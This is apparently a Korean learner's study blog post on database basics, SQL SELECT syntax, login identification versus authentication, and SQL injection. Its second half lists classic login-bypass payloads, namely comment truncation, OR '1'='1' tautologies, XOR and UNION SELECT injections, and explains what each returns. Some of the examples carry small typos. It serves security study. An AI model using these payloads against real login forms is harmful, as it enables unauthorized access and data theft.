본문 바로가기

모의해킹 공부/모의해킹 스터디

[0413 Day03] SQL Injection -01


DB :  많은 사람들이 데이터를 공유하여 사용할 목적으로 체계화해 통합하고 관리하는 데이터 집합!!
DB를 쉽게 엑셀로 비유!

  • Database : 엑셀 파일 자체 (test.xlsx)
  • Table : 엑셀 파일 안에 엑셀 시트 (sheet1, sheet2...), 사용할 목적에 따라 나눈다!
  • Column : 열(세로), 속성
  • Row : 행 (가로), 속성에 대한 값들

SQL(Structured Query Language)

  • DB(DataBase)와 WAS(Web Application Server)가 요청과 응답할 때 사용하는 언어
  • 데이터베이스를 생성 및 관리하기 위해 만들어진 프로그래밍 언어

SELECT  문 : 테이블에서 데이터를 조회(추출)하는 SQL 데이터 조작 언어! 
사용 법 : select [컬러명] from [테이블 명] (where 컬럼명=데이터);

  • ※ * (Asterisk, 에스터리스) : 모든 이라는 뜻!!
  • and  :  두가지 모두 참이면 참, 하나라도 거짓이면 모두 거짓!!
  • or  : 두가지 중 하나라도 참이면 참, 모두 거짓일 경우만 거짓!!
    • SQL에서 우선순위는  NOT  >> AND >> OR 

로그인 인증 과정!!

  • 식별(사용자 -> 시스템)
    • 많은 데이터 중에서 특정한 데이터를 가려 내는 것
    • 사용자가 시스템에게 인증 받은 자라는 것을 확인 요청하는 것!!
    •  식별 정보 : ID
  • 인증(시스템 -> 사용자)
    • 시스템이 가입된 사람이 맞는지 확인하는 것!!
    • 시스템이 사용자에게 인증 받은 자라는 것을 비밀번호를 통해 요청하는 것!!
    • 인증 정보 : 비밀번호

1) 식별 & 인증 동시에 하는 Case

    아이디와 비밀번호를 동시에 비교해서 로그인!!
    select * from Table
     where id = ' ' and password = ' ';
 

2) 식별 & 인증 분리해서 하는 Case

     아이디를 먼저 존재하는지 확인 후 비밀번호를 비교해서 로그인!!
     if(select * from Table where id = ' '; == user_id){
        if(select * from Table where password = ' '; == user_pw)
     } 
※  충격 사실 : 1번과 2번 방법 둘다 보안상으로 안전하다!!! 둘다 SQL injection 취약점이 존재가 중요!!!
 


SQL Injection : 질의문을 삽입 하는 공격

  • SQL Injection을 통해 할 수 있는 것
    • 데이터 추출 : select문의 where문응 이용하여 테이블의 데이터를 추출하는 방법(?)
    • 인증 우회 : select문의 where문을 이용하여 세션의 정보를 수정하여 인증을 우회하는 방법(?)
    • 데이터 변조 : update문을 이용하여 데이터들을 변조하는 방법(?) 
    • !!!주의!!! SQL Injection은 데이터 추출/인증위회/데이터 변조를  하는 공격X
      • -->  질의문을 삽입해서 공격하여 데이터추출, 인증우회, 데이터 변조를 하는 것!!   

1. 식별과 인증을 동시에하는 경우

    1-1) 주석 처리 우회 
          (1) select * from Table where id = 'mario'# ' and password = '1';
          (2) select * from Table where id = 'mario' or '1' = '1' # and password = '1';
           -> 모든 정보를 추출해 온다 -> 뒤에 and문이 주석 처리되어 모든 정보를 추출한다 
    1-2) or 구문이용 우회
          (1) select * from Table where id = 'mario' or '1' = '1' and password = '1';
           -> mario의 정보만 추출해 온다-> 먼저 and문 거짓 하고  or문을 하면 참이라서 id=mario 결과를 추출한다 
          (2) select * from Table where id = 'mario' or '1' = '1' or '1'= '1' and password = '1';
           -> 모든 정보를 추출해 온다 -> 먼저 and문은 거짓,그후  나머지 or문은 참이라서  모든 정보를 추출한다
    1-3) xor 구문이용 우회
          (1) select * form Table where id = 'mario' xor '1'='1' and password = '1';
           -> mario의 정보만 추출해온다 -> 먼저 and문이 거짓이나오고 xor문을 통해 참이라 mario의 결과를 추출한다 
    1-4) union 이용 우회
          (1) select * from Table where id = 'mario'unionselect'1','2','3','4'# and password = '1';
           -> union문과 주석처리를 함께사용해서 정보를 추출한다 
 

2. 식별과 인증을 분리하는 경우

  1-1)  union 이용 우회
         (1) select * from Table where id = 'mario' union select 'mario', '1', '2, '3', 4' # and password = '1';
         (2) select * from Table where id = 'x' union select 'mario', '1', '2, '3', 4' # and password = '1';
         -> mario의 비밀번호를 세션에서 바꿔서 로그인한


2023.04.14 - [모의해킹 공부/과제] - 로그인 & SQL Injection (구현 및 실습)

 

로그인  & SQL Injection (구현 및 실습)

2023.04.14 - [모의해킹 공부/취업스터디] - [0413 Day03] SQL Injection -01 [0413 Day03] SQL Injection -01 DB : 많은 사람들이 데이터를 공유하여 사용할 목적으로 체계화해 통합하고 관리하는 데이터 집합!! DB를 쉽

jisu069.tistory.com

[아이콘 저작권]

디지털 아이콘 제작자: Muhammad_Usman - Flaticon

Ui 아이콘 제작자: Ilham Fitrotul Hayat - Flaticon

지원 아이콘 제작자: Freepik - Flaticon

스마트 폰 아이콘 제작자: Freepik - Flaticon

섬기는 사람 아이콘 제작자: Those Icons - Flaticon